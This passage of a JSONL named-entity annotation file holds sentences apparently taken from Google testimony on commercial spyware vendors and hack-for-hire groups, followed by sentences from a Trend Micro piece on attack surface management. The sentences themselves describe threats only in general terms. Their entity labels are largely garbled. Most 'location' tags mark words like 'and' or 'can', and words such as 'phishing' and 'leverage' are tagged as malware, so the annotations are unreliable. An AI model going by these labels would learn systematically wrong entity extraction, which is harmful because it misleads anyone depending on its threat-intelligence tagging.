Android.","entities":[],"relations":[],"Comments":[]} -{"id":8390,"text":"Google was able to identify the vulnerability in use and fix the exploit quickly.","entities":[{"id":25839,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} {"id":8391,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[],"relations":[],"Comments":[]} -{"id":8392,"text":"iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.","entities":[{"id":25843,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} -{"id":8393,"text":"Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.","entities":[{"id":25844,"label":"location","start_offset":0,"end_offset":5},{"id":25845,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} -{"id":8394,"text":"Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.","entities":[{"id":25847,"label":"location","start_offset":22,"end_offset":25},{"id":25848,"label":"location","start_offset":59,"end_offset":62},{"id":25849,"label":"location","start_offset":70,"end_offset":74},{"id":25850,"label":"location","start_offset":117,"end_offset":121},{"id":25852,"label":"location","start_offset":236,"end_offset":240}],"relations":[],"Comments":[]} -{"id":8395,"text":"Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.","entities":[{"id":25855,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8396,"text":"For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.","entities":[{"id":25860,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":8397,"text":"We assessed that a surveillance vendor packaged and sold these technologies.","entities":[{"id":25862,"label":"location","start_offset":32,"end_offset":38},{"id":25863,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":8398,"text":"Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.","entities":[{"id":25867,"label":"location","start_offset":76,"end_offset":82}],"relations":[],"Comments":[]} -{"id":8399,"text":"Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.","entities":[{"id":25870,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":8400,"text":"Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.","entities":[{"id":25871,"label":"location","start_offset":0,"end_offset":4},{"id":25875,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":8401,"text":"We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.","entities":[{"id":25876,"label":"location","start_offset":20,"end_offset":30},{"id":25878,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} -{"id":8402,"text":"Among other targets, this spyware was used to compromise journalists and opposition politicians.","entities":[{"id":25880,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]} -{"id":8403,"text":"Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.","entities":[{"id":25882,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":8404,"text":"TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":25884,"label":"location","start_offset":68,"end_offset":72},{"id":25885,"label":"location","start_offset":74,"end_offset":78},{"id":25886,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":8405,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":25887,"label":"location","start_offset":123,"end_offset":127},{"id":25888,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]} -{"id":8406,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[{"id":25889,"label":"location","start_offset":5,"end_offset":11},{"id":25890,"label":"location","start_offset":19,"end_offset":24},{"id":25891,"label":"location","start_offset":34,"end_offset":37},{"id":25892,"label":"location","start_offset":80,"end_offset":88}],"relations":[],"Comments":[]} -{"id":8407,"text":"In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.","entities":[{"id":25894,"label":"location","start_offset":37,"end_offset":41},{"id":25897,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8408,"text":"The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.","entities":[{"id":25899,"label":"location","start_offset":41,"end_offset":44},{"id":25900,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]} -{"id":8409,"text":"Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.","entities":[{"id":25901,"label":"location","start_offset":14,"end_offset":18},{"id":25904,"label":"location","start_offset":86,"end_offset":89},{"id":25906,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8410,"text":" Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.","entities":[{"id":25907,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8411,"text":"These vendors operate with deep technical expertise to develop and operationalize exploits.","entities":[{"id":25908,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":8412,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]} -{"id":8413,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":25914,"label":"location","start_offset":138,"end_offset":141},{"id":25915,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} -{"id":8414,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":25918,"label":"location","start_offset":59,"end_offset":65},{"id":25919,"label":"location","start_offset":84,"end_offset":87},{"id":25920,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]} -{"id":8415,"text":"This industry appears to be thriving.","entities":[{"id":25921,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":8416,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":25922,"label":"location","start_offset":30,"end_offset":35},{"id":25923,"label":"location","start_offset":36,"end_offset":44},{"id":25925,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8417,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":25927,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":8418,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[{"id":25928,"label":"location","start_offset":14,"end_offset":17},{"id":25929,"label":"location","start_offset":166,"end_offset":171}],"relations":[],"Comments":[]} -{"id":8419,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[{"id":25930,"label":"location","start_offset":39,"end_offset":42},{"id":25931,"label":"location","start_offset":58,"end_offset":66},{"id":25932,"label":"location","start_offset":70,"end_offset":83},{"id":25933,"label":"location","start_offset":84,"end_offset":88},{"id":25934,"label":"location","start_offset":95,"end_offset":98},{"id":25935,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]} {"id":8420,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]} -{"id":8421,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":25937,"label":"location","start_offset":37,"end_offset":45},{"id":25938,"label":"location","start_offset":56,"end_offset":64},{"id":25939,"label":"location","start_offset":111,"end_offset":114},{"id":25940,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} -{"id":8422,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":25941,"label":"location","start_offset":23,"end_offset":31},{"id":25943,"label":"location","start_offset":131,"end_offset":136},{"id":25944,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]} -{"id":8423,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[{"id":25945,"label":"location","start_offset":37,"end_offset":40},{"id":25946,"label":"location","start_offset":64,"end_offset":72}],"relations":[],"Comments":[]} {"id":8424,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[{"id":25947,"label":"tools","start_offset":67,"end_offset":73},{"id":25948,"label":"location","start_offset":116,"end_offset":124},{"id":25950,"label":"location","start_offset":193,"end_offset":196},{"id":25951,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]} {"id":8425,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":25953,"label":"malware","start_offset":83,"end_offset":90},{"id":25954,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} {"id":8426,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[{"id":25955,"label":"location","start_offset":61,"end_offset":69},{"id":25956,"label":"location","start_offset":70,"end_offset":78},{"id":25957,"label":"threat-actor","start_offset":105,"end_offset":109},{"id":25958,"label":"location","start_offset":110,"end_offset":113},{"id":25959,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]} -{"id":8427,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":25961,"label":"location","start_offset":59,"end_offset":63},{"id":25962,"label":"location","start_offset":156,"end_offset":159},{"id":25963,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]} -{"id":8428,"text":"Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.","entities":[{"id":25965,"label":"location","start_offset":43,"end_offset":51},{"id":25966,"label":"location","start_offset":60,"end_offset":68},{"id":25967,"label":"location","start_offset":78,"end_offset":81},{"id":25968,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]} -{"id":8429,"text":"On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":25970,"label":"location","start_offset":20,"end_offset":24},{"id":25971,"label":"location","start_offset":40,"end_offset":48},{"id":25972,"label":"location","start_offset":108,"end_offset":111},{"id":25973,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]} -{"id":8430,"text":"Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.","entities":[{"id":25977,"label":"location","start_offset":140,"end_offset":145}],"relations":[],"Comments":[]} {"id":8431,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":25979,"label":"threat-actor","start_offset":28,"end_offset":38},{"id":25980,"label":"location","start_offset":59,"end_offset":62},{"id":25981,"label":"location","start_offset":95,"end_offset":98},{"id":25982,"label":"location","start_offset":105,"end_offset":109},{"id":25983,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} {"id":8432,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":25986,"label":"location","start_offset":37,"end_offset":45},{"id":25987,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":25988,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8433,"text":"Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.","entities":[{"id":25989,"label":"location","start_offset":9,"end_offset":12},{"id":25990,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]} {"id":8434,"text":"We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.","entities":[{"id":25991,"label":"location","start_offset":83,"end_offset":90},{"id":25992,"label":"attack-pattern","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]} {"id":8435,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[{"id":25993,"label":"location","start_offset":0,"end_offset":3},{"id":25994,"label":"attack-pattern","start_offset":28,"end_offset":36},{"id":25995,"label":"location","start_offset":37,"end_offset":40},{"id":25996,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]} -{"id":8436,"text":"By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.","entities":[{"id":25998,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":8437,"text":"However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.","entities":[{"id":25999,"label":"location","start_offset":23,"end_offset":26},{"id":26000,"label":"location","start_offset":45,"end_offset":53},{"id":26001,"label":"location","start_offset":87,"end_offset":97},{"id":26002,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} -{"id":8438,"text":"For Android, through its entire development lifecycle, we subject the products to a rigorous security program.","entities":[{"id":26003,"label":"location","start_offset":93,"end_offset":101}],"relations":[],"Comments":[]} -{"id":8439,"text":"The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.","entities":[{"id":26004,"label":"location","start_offset":12,"end_offset":20},{"id":26005,"label":"location","start_offset":36,"end_offset":41},{"id":26006,"label":"location","start_offset":72,"end_offset":75},{"id":26007,"label":"location","start_offset":81,"end_offset":86},{"id":26008,"label":"location","start_offset":138,"end_offset":141},{"id":26009,"label":"location","start_offset":142,"end_offset":150}],"relations":[],"Comments":[]} -{"id":8440,"text":"We ensure appropriate controls are built into the architecture of the system.","entities":[{"id":26010,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]} {"id":8441,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":26012,"label":"location","start_offset":46,"end_offset":49},{"id":26013,"label":"attack-pattern","start_offset":55,"end_offset":61},{"id":26014,"label":"location","start_offset":73,"end_offset":76},{"id":26015,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]} {"id":8442,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":26016,"label":"tools","start_offset":28,"end_offset":34},{"id":26017,"label":"location","start_offset":35,"end_offset":38},{"id":26018,"label":"location","start_offset":61,"end_offset":64},{"id":26020,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} -{"id":8443,"text":"For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.","entities":[{"id":26021,"label":"location","start_offset":19,"end_offset":22},{"id":26022,"label":"location","start_offset":87,"end_offset":90},{"id":26023,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":8444,"text":"We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.","entities":[{"id":26024,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":8445,"text":"For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.","entities":[{"id":26026,"label":"location","start_offset":55,"end_offset":65}],"relations":[],"Comments":[]} -{"id":8446,"text":"Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.","entities":[{"id":26027,"label":"location","start_offset":13,"end_offset":21},{"id":26028,"label":"location","start_offset":34,"end_offset":37},{"id":26029,"label":"location","start_offset":46,"end_offset":54},{"id":26030,"label":"location","start_offset":62,"end_offset":65},{"id":26031,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]} -{"id":8447,"text":"Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.","entities":[{"id":26034,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} -{"id":8448,"text":"We also provide research grants to security researchers to help fund and support the research community.","entities":[{"id":26035,"label":"location","start_offset":25,"end_offset":31},{"id":26036,"label":"location","start_offset":35,"end_offset":43},{"id":26037,"label":"location","start_offset":69,"end_offset":72},{"id":26038,"label":"location","start_offset":94,"end_offset":103}],"relations":[],"Comments":[]} -{"id":8449,"text":"This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.","entities":[{"id":26040,"label":"location","start_offset":62,"end_offset":65},{"id":26041,"label":"location","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]} -{"id":8450,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":26043,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8451,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.","entities":[{"id":26044,"label":"location","start_offset":156,"end_offset":159},{"id":26045,"label":"location","start_offset":160,"end_offset":168},{"id":26046,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]} -{"id":8452,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":26049,"label":"location","start_offset":40,"end_offset":50},{"id":26050,"label":"location","start_offset":121,"end_offset":126},{"id":26051,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":8453,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":26053,"label":"location","start_offset":78,"end_offset":81},{"id":26054,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]} -{"id":8454,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[{"id":26058,"label":"location","start_offset":58,"end_offset":68},{"id":26059,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]} {"id":8455,"text":"APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":26060,"label":"location","start_offset":10,"end_offset":16},{"id":26061,"label":"malware","start_offset":69,"end_offset":78},{"id":26062,"label":"location","start_offset":86,"end_offset":89},{"id":26063,"label":"attack-pattern","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]} -{"id":8456,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[{"id":26064,"label":"location","start_offset":18,"end_offset":22},{"id":26065,"label":"location","start_offset":39,"end_offset":47},{"id":26066,"label":"location","start_offset":48,"end_offset":51},{"id":26067,"label":"location","start_offset":107,"end_offset":116}],"relations":[],"Comments":[]} {"id":8457,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]} -{"id":8458,"text":"We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":26070,"label":"location","start_offset":44,"end_offset":49},{"id":26071,"label":"location","start_offset":51,"end_offset":54},{"id":26073,"label":"location","start_offset":120,"end_offset":123},{"id":26074,"label":"location","start_offset":211,"end_offset":216}],"relations":[],"Comments":[]} -{"id":8459,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":26076,"label":"location","start_offset":38,"end_offset":44},{"id":26077,"label":"location","start_offset":149,"end_offset":157},{"id":26078,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8460,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":26080,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]} -{"id":8461,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":26081,"label":"location","start_offset":3,"end_offset":10},{"id":26083,"label":"location","start_offset":87,"end_offset":90},{"id":26085,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} -{"id":8462,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":26088,"label":"location","start_offset":119,"end_offset":122},{"id":26090,"label":"location","start_offset":219,"end_offset":222}],"relations":[],"Comments":[]} -{"id":8463,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[{"id":26092,"label":"location","start_offset":20,"end_offset":28},{"id":26093,"label":"location","start_offset":29,"end_offset":32},{"id":26094,"label":"location","start_offset":55,"end_offset":60},{"id":26095,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} -{"id":8464,"text":"Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.","entities":[{"id":26097,"label":"location","start_offset":38,"end_offset":42},{"id":26098,"label":"location","start_offset":56,"end_offset":62},{"id":26099,"label":"location","start_offset":113,"end_offset":119},{"id":26100,"label":"location","start_offset":244,"end_offset":252}],"relations":[],"Comments":[]} {"id":8465,"text":"Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[{"id":26102,"label":"location","start_offset":45,"end_offset":51},{"id":26103,"label":"location","start_offset":57,"end_offset":63},{"id":26104,"label":"location","start_offset":76,"end_offset":80},{"id":26105,"label":"location","start_offset":101,"end_offset":114},{"id":26106,"label":"location","start_offset":115,"end_offset":121},{"id":26107,"label":"location","start_offset":122,"end_offset":125},{"id":26108,"label":"tools","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]} -{"id":8466,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":26110,"label":"location","start_offset":41,"end_offset":44},{"id":26111,"label":"location","start_offset":51,"end_offset":59}],"relations":[],"Comments":[]} -{"id":8467,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[{"id":26112,"label":"location","start_offset":14,"end_offset":19},{"id":26113,"label":"location","start_offset":40,"end_offset":45},{"id":26115,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} {"id":8468,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]} -{"id":8469,"text":"Google is committed to leading the industry in detecting and disrupting these threats.","entities":[{"id":26117,"label":"location","start_offset":35,"end_offset":43},{"id":26118,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":8470,"text":"I thank the Committee for this attention on this critical issue.","entities":[{"id":26120,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]} -{"id":8471,"text":"While it seems almost cliché now, we are living in unprecedented times.","entities":[{"id":26121,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} -{"id":8472,"text":"The global pandemic has forced organizations everywhere to deal not only with health and supply-chain challenges, but also with increasing political turmoil that can negatively impact ongoing operations.","entities":[{"id":26122,"label":"location","start_offset":59,"end_offset":63},{"id":26123,"label":"location","start_offset":68,"end_offset":72},{"id":26124,"label":"location","start_offset":85,"end_offset":88},{"id":26125,"label":"location","start_offset":89,"end_offset":95},{"id":26126,"label":"location","start_offset":162,"end_offset":165},{"id":26127,"label":"location","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]} -{"id":8473,"text":"And with the military action in Ukraine, evidence of widespread defacement of government websites, and targeted attacks against government agencies and financial institutions in the region serving as yet another layer of risk to deal with, it has never been more important to be on top of your security game.","entities":[{"id":26128,"label":"location","start_offset":0,"end_offset":3},{"id":26129,"label":"location","start_offset":22,"end_offset":28},{"id":26131,"label":"location","start_offset":99,"end_offset":102},{"id":26132,"label":"location","start_offset":148,"end_offset":151},{"id":26133,"label":"location","start_offset":182,"end_offset":188},{"id":26134,"label":"location","start_offset":229,"end_offset":233},{"id":26135,"label":"location","start_offset":294,"end_offset":302}],"relations":[],"Comments":[]} -{"id":8474,"text":" Keep focused on the attack surface While every organization will have their own definition of what risk means to them, the ability to understand, communicate, and mitigate that risk is critical to being resilient in the face of the global events unfolding.","entities":[{"id":26136,"label":"location","start_offset":61,"end_offset":65},{"id":26137,"label":"location","start_offset":105,"end_offset":110},{"id":26138,"label":"location","start_offset":114,"end_offset":118},{"id":26139,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]} -{"id":8475,"text":"In order to understand your risk, you first need to understand your attack surface—where can risk be introduced in the digital platform that makes up how your organization runs?","entities":[{"id":26141,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8476,"text":" Once you know what your attack surface is, you need the tools to both assess the risk and then mitigate it.","entities":[{"id":26142,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} -{"id":8477,"text":"Given that the attack surface is constantly changing, it really is a lifecycle—an attack surface risk management lifecycle—that needs the right tools in place to help with cyber resilience.","entities":[{"id":26143,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} -{"id":8478,"text":"Managing risk with security best practices","entities":[{"id":26144,"label":"location","start_offset":19,"end_offset":27},{"id":26145,"label":"location","start_offset":28,"end_offset":32}],"relations":[],"Comments":[]} {"id":8479,"text":"With so much diversity in the attack surface, it’s important to leverage security best practices to manage your cyber risk.","entities":[{"id":26146,"label":"location","start_offset":8,"end_offset":12},{"id":26147,"label":"malware","start_offset":64,"end_offset":72},{"id":26148,"label":"location","start_offset":73,"end_offset":81},{"id":26149,"label":"location","start_offset":82,"end_offset":86},{"id":26150,"label":"location","start_offset":100,"end_offset":106}],"relations":[],"Comments":[]} -{"id":8480,"text":"Organizations should: Ensure your systems are updated (especially security solutions) with the latest critical patches and versions.","entities":[{"id":26151,"label":"location","start_offset":44,"end_offset":47},{"id":26152,"label":"location","start_offset":68,"end_offset":76},{"id":26153,"label":"location","start_offset":121,"end_offset":124}],"relations":[],"Comments":[]} -{"id":8481,"text":"These are a critical part of your attack surface.","entities":[{"id":26154,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]} -{"id":8482,"text":"Make sure you have configured your security solutions according to best practices from the vendor, including widespread use of multi-factor authentication.","entities":[{"id":26155,"label":"location","start_offset":35,"end_offset":43},{"id":26156,"label":"location","start_offset":67,"end_offset":71},{"id":26157,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]} -{"id":8483,"text":"For Trend Micro solutions, ensure you are leveraging the latest sophisticated security capabilities like machine learning, behavior monitoring, application control, and more.","entities":[{"id":26159,"label":"location","start_offset":38,"end_offset":41},{"id":26160,"label":"location","start_offset":78,"end_offset":86},{"id":26161,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} {"id":8484,"text":"Get advice here: https:\/\/success.trendmicro.com","entities":[],"relations":[],"Comments":[]} -{"id":8485,"text":"As outlined in real-world testing activities like the Mitre Engenuity ATT&CK evalutions, being able to detect and respond across layers to a cyber attack is a fundamental requirement for managing cyber risk.","entities":[{"id":26163,"label":"location","start_offset":15,"end_offset":19},{"id":26164,"label":"location","start_offset":20,"end_offset":25},{"id":26166,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":8486,"text":"If you are not using some form of extended detection and response (XDR) or managed XDR today, you need to put something in place immediately.","entities":[{"id":26167,"label":"location","start_offset":7,"end_offset":10},{"id":26168,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":8487,"text":"Without this type of visibility and ability to respond to attacks, you are at significantly higher risk.","entities":[{"id":26170,"label":"location","start_offset":13,"end_offset":17},{"id":26171,"label":"location","start_offset":32,"end_offset":35},{"id":26172,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} {"id":8488,"text":"Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.","entities":[{"id":26173,"label":"location","start_offset":66,"end_offset":69},{"id":26174,"label":"location","start_offset":80,"end_offset":83},{"id":26175,"label":"attack-pattern","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]} -{"id":8489,"text":"Follow-up quickly on security alerts and conduct more close investigation as necessary.","entities":[{"id":26176,"label":"location","start_offset":21,"end_offset":29},{"id":26177,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} {"id":8490,"text":"Where possible, reduce your attack surface.","entities":[],"relations":[],"Comments":[]} -{"id":8491,"text":"Whether a financially motivated group, a nation state, or an advanced group that behaves like one, attackers facing a smaller attack surface along with the greater visibility in #3 mean a stronger security and reduced risk.","entities":[{"id":26178,"label":"location","start_offset":94,"end_offset":97},{"id":26179,"label":"location","start_offset":141,"end_offset":146},{"id":26181,"label":"location","start_offset":197,"end_offset":205},{"id":26182,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]} {"id":8492,"text":"How to do that?","entities":[],"relations":[],"Comments":[]} -{"id":8493,"text":"Reducing attack surface includes patching and Zero Trust techniques for better posture, including knowing the true state of identities, devices, cloud assets, and things.","entities":[{"id":26183,"label":"location","start_offset":42,"end_offset":45},{"id":26184,"label":"location","start_offset":46,"end_offset":50},{"id":26185,"label":"location","start_offset":51,"end_offset":56},{"id":26186,"label":"location","start_offset":110,"end_offset":114},{"id":26187,"label":"location","start_offset":145,"end_offset":150},{"id":26188,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]} -{"id":8494,"text":" Following these best practices will help you to better manage the cyber risk that your organization is facing, regardless of the unknowns that we are all dealing with today—and 